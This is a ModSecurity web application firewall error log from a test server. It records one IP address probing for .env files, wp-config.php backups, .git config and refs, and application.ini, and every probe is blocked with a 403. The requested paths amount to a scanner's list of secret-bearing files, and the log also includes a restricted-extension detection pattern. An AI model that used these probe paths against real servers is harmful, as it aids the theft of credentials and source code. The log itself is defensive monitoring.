[Mon Jul 28 20:46:24.980224 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nIAAAAA4&quot;]
[Mon Jul 28 20:46:25.000589 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8081/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nIQAAAA4&quot;]
[Mon Jul 28 20:46:25.000791 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nIQAAAA4&quot;]
[Mon Jul 28 20:46:25.000968 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nIQAAAA4&quot;]
[Mon Jul 28 20:46:25.021195 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8443/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nIgAAAA4&quot;]
[Mon Jul 28 20:46:25.021416 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nIgAAAA4&quot;]
[Mon Jul 28 20:46:25.021596 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nIgAAAA4&quot;]
[Mon Jul 28 20:46:25.041921 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sendgrid_email/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nIwAAAA4&quot;]
[Mon Jul 28 20:46:25.042136 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nIwAAAA4&quot;]
[Mon Jul 28 20:46:25.042319 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nIwAAAA4&quot;]
[Mon Jul 28 20:46:25.073165 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nJAAAAA4&quot;]
[Mon Jul 28 20:46:25.073398 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nJAAAAA4&quot;]
[Mon Jul 28 20:46:25.073577 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aIfFgc9E66I2YPyIb96nJAAAAA4&quot;]
[Mon Jul 28 20:46:26.218264 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aIfFgs9E66I2YPyIb96nWAAAAA4&quot;]
[Mon Jul 28 20:46:26.218509 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aIfFgs9E66I2YPyIb96nWAAAAA4&quot;]
[Mon Jul 28 20:46:26.218679 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aIfFgs9E66I2YPyIb96nWAAAAA4&quot;]
[Mon Jul 28 20:46:26.280745 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aIfFgs9E66I2YPyIb96nWwAAAA4&quot;]
[Mon Jul 28 20:46:26.281046 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aIfFgs9E66I2YPyIb96nWwAAAA4&quot;]
[Mon Jul 28 20:46:26.281232 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aIfFgs9E66I2YPyIb96nWwAAAA4&quot;]
[Mon Jul 28 20:46:27.016401 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cJAAAAAM&quot;]
[Mon Jul 28 20:46:27.016652 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cJAAAAAM&quot;]
[Mon Jul 28 20:46:27.016852 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cJAAAAAM&quot;]
[Mon Jul 28 20:46:27.108101 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cKAAAAAM&quot;]
[Mon Jul 28 20:46:27.108339 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cKAAAAAM&quot;]
[Mon Jul 28 20:46:27.108521 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cKAAAAAM&quot;]
[Mon Jul 28 20:46:27.342758 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/info/refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cMwAAAAM&quot;]
[Mon Jul 28 20:46:27.343003 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cMwAAAAM&quot;]
[Mon Jul 28 20:46:27.343174 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cMwAAAAM&quot;]
[Mon Jul 28 20:46:27.363605 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNAAAAAM&quot;]
[Mon Jul 28 20:46:27.363843 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNAAAAAM&quot;]
[Mon Jul 28 20:46:27.364027 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNAAAAAM&quot;]
[Mon Jul 28 20:46:27.384234 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/objects/info&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNQAAAAM&quot;]
